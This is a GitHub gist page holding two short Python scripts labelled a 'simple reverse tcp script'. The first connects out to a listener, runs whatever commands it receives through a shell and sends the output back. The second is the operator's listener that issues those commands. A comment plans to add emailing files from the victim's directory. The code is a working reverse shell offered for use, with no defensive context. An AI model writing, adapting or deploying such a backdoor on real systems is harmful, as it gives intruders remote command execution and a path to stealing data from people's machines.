Skip to content

Instantly share code, notes, and snippets.

@wildonion
Created October 28, 2020 20:01
Show Gist options
  • Select an option

  • Save wildonion/a72037a5e856315f0f9557e7b74e0eef to your computer and use it in GitHub Desktop.

Select an option

Save wildonion/a72037a5e856315f0f9557e7b74e0eef to your computer and use it in GitHub Desktop.
simple reverse tcp script
import socket
import os
import subprocess
#1
target_host = "127.0.0.1"
target_port = 8764
#2
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
client.connect((target_host,target_port))
#3
while True:
data = client.recv(1024)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE )
output_bytes = cmd.stdout.read()
# TODO : send a file from a dir using email here
output_str = str(output_bytes)
client.send(str.encode(output_str + str(os.getcwd()) + '$'))
#print(output_str)
client.close()
# use numpy and opencv
import socket
import threading
import os
import sys
#1
def send_commands(conn):
while True:
cmd = input()
if cmd == 'quit':
conn.close()
server.close()
sys.exit()
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
client_response = str(conn.recv(1024))
print(client_response, end="")
#2
bind_ip = ""
bind_port = 8764
serv_add = ('127.0.0.1' , 8764 )
#3
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((serv_add))
server.listen(5)
print ("[*] listening on {}:{}".format(bind_ip,bind_port))
#4
conn,addr = server.accept()
print('accepted connection from {} and port {}'.format(addr[0],addr[1]))
print("enter the commands below")
#5
send_commands(conn)
conn.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment